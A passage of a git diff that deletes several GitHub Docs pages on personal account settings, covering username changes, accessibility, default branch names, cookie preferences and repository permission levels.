variables.product.github %} cannot set up redirects for: -* [@mentions](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#mentioning-people-and-teams) using your old username -* Links to [gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists/creating-gists) that include your old username - -{% ifversion fpt or ghec %} - -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %} - -{% endif %} - -{% ifversion fpt or ghec %} - -{% data reusables.accounts.rename-account-repo-namespace-retirement %} If you try to create a repository using a retired owner name and repository name combination, you will see the error: "The repository `<REPOSITORY_NAME>` has been retired and cannot be reused." - -{% endif %} - -{% data reusables.package_registry.rename-account-namespace-retirement %} - -## Repository references - -After you change your username, {% data variables.product.github %} will automatically redirect references to your repositories. -* Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change. -* Command line pushes from your local repository clones to the old remote tracking URLs will continue to work. - -If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -## Links to your previous profile page - -After changing your username, links to your previous profile page, such as `https://{% data variables.product.product_url %}/previoususername`, will return a 404 error. We recommend updating any links to your profile from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}. - -## Accounts logged in on GitHub Mobile - -Accounts logged in on the {% data variables.product.prodname_mobile %} app may continue to display your original username until you log out. To ensure your updated username is displayed, we recommend you sign out and back in to your account on each mobile device. - -## Your Git commits - -If your Git commits are associated with another email address you've added to your {% data variables.product.prodname_dotcom %} account, they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) and [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account). - -{% ifversion fpt or ghec %}If you've been using a {% data variables.product.prodname_dotcom %}-provided private commit email address, whether or not your commit history will be retained after an account rename depends on the format of the email address. Git commits that are associated with your {% data variables.product.github %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph, unless your `noreply` email address is in the form of `ID+USERNAME@users.noreply.github.com`. Older versions of the `noreply` email address that do not contain a numeric ID will not be associated with your {% data variables.product.prodname_dotcom %} account after changing your username.{% endif %} - -> [!WARNING] -> * After a username change, verified commits signed using the previous {% data variables.product.github %}-provided `noreply` email address will lose their "Verified" status. -> * When verifying a signature, {% data variables.product.github %} checks that the email address of the committer or tagger exactly matches one of the email addresses associated with the GPG key's identities. Additionally, {% data variables.product.github %} confirms that the email address is verified and linked to the user's account. This ensures that the key belongs to you and that you created the commit or tag. Because the username of the `noreply` email address changes, these commits can no longer be verified. - -## Your gists - -After changing your username, the URLs to any public or secret gists will also change and previous links to these will return a 404 error. We recommend updating the links to these gists anywhere you may have shared them. - -## CODEOWNERS files - -After changing your username, CODEOWNERS files that include your old username will need to be manually updated. When you view the CODEOWNERS files on {% data variables.product.prodname_dotcom %}, an error message is displayed if the file contains any unknown users, or users without write access. We recommend updating all relevant CODEOWNERS files with your new username. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners). - -## Changing your username - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.account_settings %} -1. In the "Change username" section, click **Change username**.{% ifversion fpt or ghec %} -1. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**. -1. Type a new username. -1. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see. -{% endif %} - -## Further reading - -* [AUTOTITLE](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user){% ifversion fpt or ghec %} -* [AUTOTITLE](/free-pro-team@latest/site-policy/other-site-policies/github-username-policy){% endif %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md deleted file mode 100644 index 253f00b1d8d8..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/index.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Managing user account settings -intro: 'You can manage settings for your personal account, including your theme, username, default branch, accessibility, and security settings.' -redirect_from: - - /categories/29/articles - - /categories/user-accounts - - /articles/managing-user-account-settings - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -children: - - /about-your-personal-dashboard - - /managing-your-tab-size-rendering-preference - - /changing-your-github-username - - /permission-levels-for-a-personal-account-repository - - /permission-levels-for-a-project-board-owned-by-a-personal-account - - /managing-accessibility-settings - - /managing-the-default-branch-name-for-your-repositories - - /managing-security-and-analysis-settings-for-your-personal-account - - /managing-access-to-your-personal-accounts-project-boards - - /managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages - - /integrating-jira-with-your-personal-projects - - /about-available-for-hire -shortTitle: Personal account settings ---- diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md deleted file mode 100644 index 1e68f831ee73..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/integrating-jira-with-your-personal-projects.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Integrating Jira with your personal projects -intro: 'You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.' -redirect_from: - - /articles/integrating-jira-with-your-personal-projects - - /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects -versions: - ghes: '*' -shortTitle: Integrate Jira with projects ---- -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.developer_settings %} -{% data reusables.user-settings.oauth_apps %} -1. Click **Register a new application**. -1. Under **Application name**, type "Jira". -1. Under **Homepage URL**, type the full URL to your Jira instance. -1. Under **Authorization callback URL**, type the full URL to your Jira instance. -1. Click **Register application**. -1. Under **Developer applications**, note the "Client ID" and "Client Secret" values. -{% data reusables.user-settings.jira_help_docs %} - -## Further reading - -* [AUTOTITLE](/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board) -* [Connect Jira Cloud to GitHub](https://confluence.atlassian.com/adminjiracloud/connect-jira-cloud-to-github-814188429.html) in the Atlassian documentation diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md deleted file mode 100644 index e5298ecb2e7e..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-access-to-your-personal-accounts-project-boards.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: 'Managing access to your personal account''s {% data variables.projects.projects_v1_boards %}' -intro: 'As a {% data variables.projects.projects_v1_board %} owner, you can add or remove a collaborator and customize their permissions to a {% data variables.projects.projects_v1_board %}.' -redirect_from: - - /articles/managing-project-boards-in-your-repository-or-organization - - /articles/managing-access-to-your-user-account-s-project-boards - - /articles/managing-access-to-your-user-accounts-project-boards - - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-user-accounts-project-boards - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards -versions: - feature: projects-v1 -topics: - - Accounts -shortTitle: 'Manage {% data variables.projects.projects_v1_boards %} access' -allowTitleToDifferFromFilename: true ---- -A collaborator is a person who has permissions to a {% data variables.projects.projects_v1_board %} you own. A collaborator's permissions will default to read access. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account). - -## Inviting collaborators to a user-owned {% data variables.projects.projects_v1_board %} - -1. Navigate to the {% data variables.projects.projects_v1_board %} where you want to add an collaborator. -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -1. Under "Search by username, full name or email address", type the collaborator's name, username, or {% data variables.product.prodname_dotcom %} email. -{% data reusables.project-management.add-collaborator %} -1. The new collaborator has read permissions by default. Optionally, next to the new collaborator's name, use the drop-down menu and choose a different permission level. - -## Removing a collaborator from a user-owned {% data variables.projects.projects_v1_board %} - -{% data reusables.project-management.click-menu %} -{% data reusables.project-management.access-collaboration-settings %} -{% data reusables.project-management.collaborator-option %} -{% data reusables.project-management.remove-collaborator %} diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md deleted file mode 100644 index 3068f6a8b35c..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-accessibility-settings.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Managing accessibility settings -shortTitle: Manage accessibility settings -intro: '{% data variables.product.github %}''s user interface can adapt to your vision, hearing, motor, cognitive, or learning needs.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -redirect_from: - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings -type: how_to ---- - -## About accessibility settings - -To create an experience on {% data variables.product.github %} that fits your needs, you can customize the user interface. Accessibility settings can be essential for people with disabilities, but can be useful to anyone. For example, customization of keyboard shortcuts is essential to people who navigate using voice control, but can be useful to anyone when a keyboard shortcut for {% data variables.product.github %} clashes with another application shortcut. - -You can decide whether you want to use some or all keyboard shortcuts, and control the display of animated images and how links are displayed. - -This article will help you customize your experience on the {% data variables.product.github %} website as a whole. For information on using specific {% data variables.product.github %} products with screen readers and other assistive technologies, see the [{% data variables.product.github %} Accessibility Documentation](https://accessibility.github.com/documentation). - -## Managing the appearance of links - -You can control whether links in text blocks are underlined and therefore more distinguishable. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.accessibility_settings %} -1. Under "Content", manage settings for link appearance. - - * To enable underlines on links in text blocks, under "Link underlines", select **Show link underlines**. - * To disable underlines on links in text blocks, under "Link underlines", select **Hide link underlines**. - * To disable hovercards for previewing link content, deselect **Hovercards**. - -## Managing keyboard shortcuts - -You can perform actions across the {% data variables.product.github %} website by using your keyboard alone. Keyboard shortcuts can be useful to save time, but can be activated accidentally or interfere with assistive technology. - -By default, all keyboard shortcuts are enabled. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts). - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.accessibility_settings %} -1. Under "Keyboard shortcuts", manage settings for your keyboard shortcuts. - - * To disable shortcut keys that don't use modifiers keys like <kbd>Control</kbd> or <kbd>Command</kbd>, under "General", deselect **Character keys**. - * If you disable character keys, you may still be able to trigger shortcuts for your web browser, and you can still trigger shortcuts that use a modifier key. - {%- ifversion command-palette %} - * To customize the keyboard shortcuts for triggering the command palette, under "Command palette", use the drop-down menus to choose a keyboard shortcut. For more information, see [AUTOTITLE](/get-started/accessibility/github-command-palette). - {%- endif %} - -## Managing motion - -You can control how {% data variables.product.github %} displays animated _.gif_ images. - -By default, {% data variables.product.github %} syncs with your system-level preference for reduced motion. For more information, see the documentation or settings for your operating system. - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.accessibility_settings %} -1. Under "Motion", manage settings for motion. - - * To control how {% data variables.product.github %} displays animated images, under "Autoplay animated images", select **Sync with system**, **Enabled**, or **Disabled**. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md deleted file mode 100644 index 060b620b01e6..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Managing security and analysis settings for your personal account -intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Accounts -redirect_from: - - /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account -shortTitle: Manage security & analysis ---- -## About management of security and analysis settings - -{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories. - -You can still manage the security and analysis features for individual repositories. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -You can also review the security log for all activity on your personal account. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log). - -{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %} - -{% data reusables.security.security-and-analysis-features-enable-read-only %} - -For an overview of repository-level security, see [AUTOTITLE](/code-security/getting-started/securing-your-repository). - -## Enabling or disabling features for existing repositories - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, click **Disable all** or **Enable all**. -1. Optionally, enable the feature by default for new repositories that you own.{% ifversion not ghes %} - - ![Screenshot of the "Enable FEATURE" modal dialog, with the "Enable by default for new private repositories" option outlined in dark orange.](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %} - -1. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own. - -{% data reusables.security.displayed-information %} - -## Enabling or disabling features for new repositories - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.security-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, enable or disable the feature by default for new repositories that you own. - -## Further reading - -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/dependabot-version-updates) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md deleted file mode 100644 index bf382a96dd1e..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Managing the default branch name for your repositories -intro: 'You can set the default branch name for new repositories that you create on {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -redirect_from: - - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories -shortTitle: Manage default branch name ---- -## About management of the default branch name - -When you create a new repository on {% data variables.product.github %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.github %} uses for the default branch in new repositories you create. For more information about the default branch, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch). - -{% data reusables.branches.change-default-branch %} - -## Setting the default branch name - -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.repo-tab %} -1. Under "Repository default branch", click **Change default branch name now**. -1. In the text field, type the default name that you would like to use for new branches. -1. Click **Update**. - -## Further reading - -* [AUTOTITLE](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md deleted file mode 100644 index a0c8eb10c64a..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Managing your cookie preferences for GitHub's enterprise marketing pages -intro: 'You can control how {% data variables.product.company_short %} uses information from non-essential tracking cookies for enterprise marketing pages.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Manage cookie preferences -redirect_from: - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages ---- - -## About cookie preferences on enterprise marketing pages - -{% data variables.product.company_short %} may use non-essential cookies on some enterprise marketing pages. You can customize how these cookies behave. For more information about how {% data variables.product.company_short %} uses cookies, see [AUTOTITLE](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement). - -## Changing your cookie preferences - -You can customize how non-essential cookies behave on any {% data variables.product.company_short %} enterprise marketing page. - -1. Navigate to the {% data variables.product.company_short %} enterprise marketing page where you'd like to change your cookie preferences. For example, navigate to [{% data variables.product.company_short %} Resources](https://resources.github.com/). -1. Scroll to the bottom of the page, then click **Manage Cookies**. - - ![Screenshot of the footer of the "Resources" page. In a line of links, the final option, labeled "Manage cookies," is outlined in orange.](/assets/images/help/settings/cookie-settings-manage.png) - -1. Under "Manage cookie preferences," to accept or reject each non-essential cookie, click **Accept** or **Reject**. - - ![Screenshot of the "Manage cookie preferences" dialog. Under "Analytics", two radio buttons, labeled "Accept" and "Reject," are outlined.](/assets/images/help/settings/cookie-settings-accept-or-reject.png) - -1. Click **Save changes**. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md deleted file mode 100644 index 57454c0130ba..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/managing-your-tab-size-rendering-preference.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Managing your tab size rendering preference -intro: You can manage the number of spaces a tab is equal to for your personal account. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Managing your tab size -redirect_from: - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference ---- - -If you feel that tabbed indentation in code rendered on {% data variables.product.github %} takes up too much, or too little space, you can change this in your settings. - -{% data reusables.user-settings.access_settings %} -1. In the left sidebar, click **{% octicon "paintbrush" aria-hidden="true" %} Appearance**. -1. Scroll down to "Tab size preference" and use the dropdown menu to choose your preference. diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md deleted file mode 100644 index a72e45960c6c..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-personal-account-repository.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Permission levels for a personal account repository -intro: 'A repository owned by a personal account has two permission levels: the repository owner and collaborators.' -redirect_from: - - /articles/permission-levels-for-a-user-account-repository - - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository - - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository - - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository - - /account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Accounts -shortTitle: Repository permissions ---- -## About permissions levels for a personal account repository - -Repositories owned by personal accounts have one owner. Ownership permissions can't be shared with another personal account. - -You can also {% ifversion fpt or ghec %}invite{% else %}add{% endif %} users to your repository as collaborators. For more information, see [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository). - -> [!TIP] -> If you require more granular access to a repository owned by your personal account, consider transferring the repository to an organization. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/transferring-a-repository#transferring-a-repository-owned-by-your-personal-account). - -## Owner access for a repository owned by a personal account - -The repository owner has full control of the repository. In addition to the actions that any collaborator can perform, the repository owner can perform the following actions. - -| Action | More information | -| :- | :- | -| {% ifversion fpt or ghec %}Invite collaborators{% else %}Add collaborators{% endif %} | [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository) | -| Change the visibility of the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) | -| {% ifversion fpt or ghec %} | -| Limit interactions with the repository | [AUTOTITLE](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) | -| {% endif %} | -| Rename a branch, including the default branch | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch) | -| Merge a pull request on a protected branch, even if there are no approving reviews | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches) | -| Delete the repository | [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository) | -| Manage the repository's topics | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics) | -| {% ifversion fpt or ghec %} | -| Manage security and analysis settings for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) | -| {% endif %} | -| {% ifversion fpt or ghec %} | -| Enable the dependency graph for a private {% ifversion ghec %}or internal {% endif %}repository, or public fork | [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph) | -| {% endif %} | -| Delete and restore packages | [AUTOTITLE](/packages/learn-github-packages/deleting-and-restoring-a-package) | -| Customize the repository's social media preview | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview) | -| Create a template from the repository | [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-template-repository) | -| Control access to {% data variables.product.prodname_dependabot_alerts %}| [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | -| {% ifversion fpt or ghec %} | -| Dismiss {% data variables.product.prodname_dependabot_alerts %} in the repository | [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) | -| Manage data use for a private repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository#enabling-or-disabling-security-and-analysis-features-for-private-repositories) | -| {% endif %} | -| Define code owners for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) | -| Archive the repository | [AUTOTITLE](/repositories/archiving-a-github-repository/archiving-repositories) | -| {% ifversion fpt or ghec %} | -| Create security advisories | [AUTOTITLE](/code-security/security-advisories/working-with-repository-security-advisories/about-repository-security-advisories) | -| Display a sponsor button | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository) | -| {% endif %} | -| Allow or disallow auto-merge for pull requests | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository) | -| Manage deploy keys | [AUTOTITLE](/authentication/connecting-to-github-with-ssh/managing-deploy-keys#deploy-keys) | -| Manage webhooks | [AUTOTITLE](/webhooks/about-webhooks) | - -## Collaborator access for a repository owned by a personal account - -Collaborators on a personal repository can pull (read) the contents of the repository and push (write) changes to the repository. - -> [!NOTE] -> In a private repository, repository owners can only grant write access to collaborators. Collaborators can't have read-only access to repositories owned by a personal account. - -Collaborators can also perform the following actions. - -| Action | More information | -| :- | :- | -| Fork the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) | -| Rename a branch other than the default branch | [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch) | -| Create, edit, and delete comments on commits, pull requests, and issues in the repository | <ul><li>[AUTOTITLE](/issues/tracking-your-work-with-issues/about-issues)</li><li>[AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)</li><li>[AUTOTITLE](/communities/moderating-comments-and-conversations/managing-disruptive-comments)</li></ul> | -| Create, assign, close, and re-open issues in the repository | [AUTOTITLE](/issues) | -| Manage labels for issues and pull requests in the repository | [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/managing-labels) | -| Manage milestones for issues and pull requests in the repository | [AUTOTITLE](/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests) | -| Mark an issue or pull request in the repository as a duplicate | [AUTOTITLE](/issues/tracking-your-work-with-issues/marking-issues-or-pull-requests-as-a-duplicate) | -| Create, merge, and close pull requests in the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests) | -| Enable and disable auto-merge for a pull request | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request) -| Apply suggested changes to pull requests in the repository |[AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) | -| Create a pull request from a fork of the repository | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork) | -| Submit a review on a pull request that affects the mergeability of the pull request | [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | -| Create and edit a wiki for the repository | [AUTOTITLE](/communities/documenting-your-project-with-wikis/about-wikis) | -| Create and edit releases for the repository | [AUTOTITLE](/repositories/releasing-projects-on-github/managing-releases-in-a-repository) | -| Act as a code owner for the repository | [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners) | -| {% ifversion fpt or ghec %} | -| Publish, view, or install packages | [AUTOTITLE](/packages/learn-github-packages) | -| {% endif %} | -| Remove themselves as collaborators on the repository | [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository) | - -## Further reading - -* [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization) diff --git a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md b/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md deleted file mode 100644 index 766b541db4cc..000000000000 --- a/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-user-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: 'Permission levels for a {% data variables.projects.projects_v1_board %} owned by a personal account' -intro: 'A {% data variables.projects.projects_v1_board %} owned by a personal account has two permission levels: the {% data variables.projects.projects_v1_board %} owner and collaborators.' -redirect_from: - - /articles/permission-levels-for-user-owned-project-boards - - 